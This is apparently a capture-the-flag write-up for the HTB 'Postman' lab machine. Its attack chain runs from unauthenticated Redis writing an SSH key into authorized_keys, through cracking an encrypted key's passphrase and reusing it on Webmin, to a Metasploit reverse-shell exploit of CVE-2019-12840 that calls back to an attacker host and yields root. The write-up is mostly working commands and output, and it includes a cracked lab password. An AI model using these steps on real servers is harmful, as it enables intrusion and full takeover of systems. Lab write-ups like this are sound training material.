Miguel.sh

Postman

Unauthenticated Redis writes a padded SSH key into the service account's authorized_keys, giving a shell as redis. Enumeration as redis exposes Matt's encrypted SSH key; its cracked passphrase doubles as Matt's Webmin password, and the Webmin 1.910 package-updates RCE (CVE-2019-12840) lands a root shell with both flags.

Category
machine
Source
HTB
OS
linux
Difficulty
easy
Released
Tags
linuxrediswebmincredential-reusecve-2019-12840metasploitssh2john
Tools
nmap, redis-cli, ssh, ssh2john, john, curl, searchsploit, metasploit

Attack path

flowchart LR
  A["nmap 22/80/6379/10000"] --> B["unauthenticated Redis 4.0.9"]
  B --> C["RDB dump into authorized_keys<br/>SSH shell as redis"]
  C --> D["enumerate as redis<br/>user Matt, id_rsa.bak lead"]
  D --> E["find -readable<br/>/opt/id_rsa.bak"]
  E --> F["ssh2john + rockyou<br/>passphrase computer2008"]
  A --> G["curl + searchsploit<br/>Webmin 1.910 exploits"]
  F --> H["credential reuse<br/>Matt:computer2008 on Webmin"]
  G --> H
  H --> I["package-updates RCE<br/>CVE-2019-12840"]
  I --> J["root shell, MiniServ as root<br/>both flags"]

Recon

Step 1 — Port scan

A full TCP scan finds four services.

nmap
sudo nmap -sV -sC -T4 10.129.95.189 -p- -o nmap.txt
nmap
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.29 (Ubuntu)
6379/tcp open redis Redis key-value store 4.0.9
10000/tcp open http MiniServ 1.910 (Webmin httpd)

Port 80 serves a static personal site and was not pursued. Redis with no authentication and the Webmin interface on 10000 are the two leads.

Step 2 — Unauthenticated Redis

Redis accepts commands from any client; INFO server returns without an AUTH error.

redis-cli
redis-cli -h 10.129.95.189 INFO server
redis-cli
redis_version:4.0.9
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
redis-cli
redis-cli -h 10.129.95.189 CONFIG GET dir
redis-cli -h 10.129.95.189 INFO keyspace
redis-cli
dir
/var/lib/redis

The working directory is /var/lib/redis, the redis service user’s home directory. INFO keyspace is empty, so there are no stored credentials to read, but write access to a service user’s home is enough on its own.

Foothold

Step 3 — Write an SSH key through the RDB dump

Redis 4.0.9 allows a client to set the dump directory and file name. Storing a padded public key and saving the database to /var/lib/redis/.ssh/authorized_keys turns the Redis value into a usable authorized key file.

redis-cli / ssh
ssh-keygen -t rsa -b 2048 -f redis_key -N '' -q
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > redis_key_spaced
cat redis_key_spaced | redis-cli -h 10.129.95.189 -x set sshkey
redis-cli -h 10.129.95.189 CONFIG SET dir /var/lib/redis/.ssh
redis-cli -h 10.129.95.189 CONFIG SET dbfilename authorized_keys
redis-cli -h 10.129.95.189 SAVE
ssh -i redis_key redis@10.129.95.189
ssh
redis@Postman:~$ id
uid=107(redis) gid=114(redis)

Every Redis command returns OK, and the login succeeds as redis.

SAVE writes a binary RDB file, so the stored value arrives wrapped in dump headers and binary junk. sshd skips lines it cannot parse, so the key only has to sit intact on its own lines — the \n\n padding before and after it provides that. Two constraints apply: /var/lib/redis/.ssh must already exist, because Redis cannot create directories, and a wrong dir value fails at SAVE, when the file cannot be written — not at CONFIG SET, which accepts any path.

Privilege escalation

The redis shell cannot read user.txt. The user subsection below recovers Matt’s credentials; the root subsection uses them against Webmin for a root shell.

User — credential discovery

Step 4 — Enumerate as redis

/home contains one human account.

enumeration
ls /home
cat /home/Matt/user.txt
ls -ld /home/Matt/.ssh
enumeration
Matt
cat: /home/Matt/user.txt: Permission denied
drwx------ Matt Matt

user.txt is -rw-rw---- Matt Matt and Matt’s .ssh directory is closed to other users. The redis home directory holds artifacts from earlier sessions: a 92-byte header-only dump.rdb, four same-size renamed .so files plus a module.o (Redis MODULE LOAD leftovers), and a .bash_history from 2019 with repeated su Matt attempts and a reference to cat id_rsa.bak in /var/lib/redis. The history points at an SSH key backup somewhere on the box.

Step 5 — Locate Matt’s key backup

The backup is not at the location the history names (see “What didn’t work”). A readable-files search finds it: -readable keeps only files the current user can open — read permission on the file and search permission on every directory in its path — where a plain -name search returns files that then fail on access.

find
find / -name "id_rsa*" -readable 2>/dev/null
find
/opt/id_rsa.bak
ls
ls -la /opt/id_rsa.bak
ls
-rwxr-xr-x 1 Matt Matt 1743 /opt/id_rsa.bak

The file is world-readable and carries Proc-Type: 4,ENCRYPTED, so it is a passphrase-protected private key owned by Matt.

Step 6 — Crack the passphrase

Copy the key off the box using the foothold key from step 3, convert it to a john hash, and run rockyou against it.

ssh2john
scp -i redis_key redis@10.129.95.189:/opt/id_rsa.bak matt_id_rsa
python3 /usr/share/john/ssh2john.py matt_id_rsa > matt.hash
john
john matt.hash --wordlist=/usr/share/wordlists/rockyou.txt
john
computer2008 (matt_id_rsa)

The passphrase is computer2008, recovered in under a second.

Root — Webmin package-updates RCE

Step 7 — Identify the Webmin attack surface

Port 10000 from step 1 serves a Webmin login.

curl
curl -sk https://10.129.95.189:10000/

The page is a “Login to Webmin” form posting to session_login.cgi.

searchsploit
searchsploit webmin 1.910
searchsploit
linux/remote/46984.rb Webmin 1.910 - Package Updates RCE (authenticated)
linux/webapps/47330.rb Webmin < 1.920 - rpc.cgi RCE

The Package Updates exploit fits best: it is authenticated, and step 6 has just produced a candidate credential for the account named in step 4.

Step 8 — Credential reuse into the package-updates RCE

The passphrase from step 6 is tried as Matt’s Webmin password: an encrypted key’s passphrase is a password its owner chose on this host, and reuse across services is common, so with the username from step 4 and a login form it is the cheapest credential to test first. Webmin accepts Matt:computer2008, confirming the reuse, and the exploit turns the authenticated session into command execution.

msfconsole
use exploit/linux/http/webmin_packageup_rce
set PAYLOAD cmd/unix/reverse_perl
set RHOSTS 10.129.95.189
set SSL true
set USERNAME Matt
set PASSWORD computer2008
set LHOST 10.10.14.33
run
msfconsole
[+] Session cookie: c10e4dc1d44eeb66bed62ab91d1ca0b8
[*] Command shell session 1 opened (10.10.14.33:4444 -> 10.129.95.189:60754)
whoami
root

The shell lands as root because Webmin’s MiniServ daemon runs as root: CVE-2019-12840 injects commands through /package-updates/update.cgi, so the payload executes inside that root process. No additional privilege escalation step exists.

Step 9 — Flags

The shell from step 8 reads both flags; user.txt, denied to redis in step 4, is read from the root shell.

flags
cat /root/root.txt
cat /home/Matt/user.txt
flags
<redacted>
<redacted>

Both root.txt and Matt’s user.txt are captured.

What didn’t work

  • Direct SSH as Matt. ssh -i matt_id_rsa Matt@10.129.95.189 decrypts the key with the cracked passphrase, but the server drops the connection (Connection closed by 10.129.95.189 port 22, twice). Possible causes are a rotated authorized key, an sshd login restriction, or a locked account. Not triaged further: the Webmin path in step 8 did not need a Matt shell.
  • The bash_history key location. The 2019 .bash_history refers to id_rsa.bak in /var/lib/redis, but the file is absent there on this instance; the real backup lives in /opt (step 5).
  • Port 80’s static site was never examined.

Lessons learned

  • Unauthenticated Redis is a file-write primitive: CONFIG SET dir plus CONFIG SET dbfilename plus SAVE writes any stored value to a path the redis user can write. Targeting authorized_keys with newline-padded key content converts that into an SSH shell as the service user.
  • sshd ignores unparseable lines in authorized_keys, which is why the RDB binary wrapper does not break the injected key. The target .ssh directory must already exist, because Redis cannot create directories.
  • find -readable returns only files the current user can actually open, avoiding permission failures on -name results.
  • An encrypted SSH key is two credentials in one. Crack the passphrase with ssh2john, then try it as the account password on every other login surface — here Webmin accepted it.
  • MiniServ runs as root, so an authenticated Webmin RCE such as CVE-2019-12840 yields a root shell directly.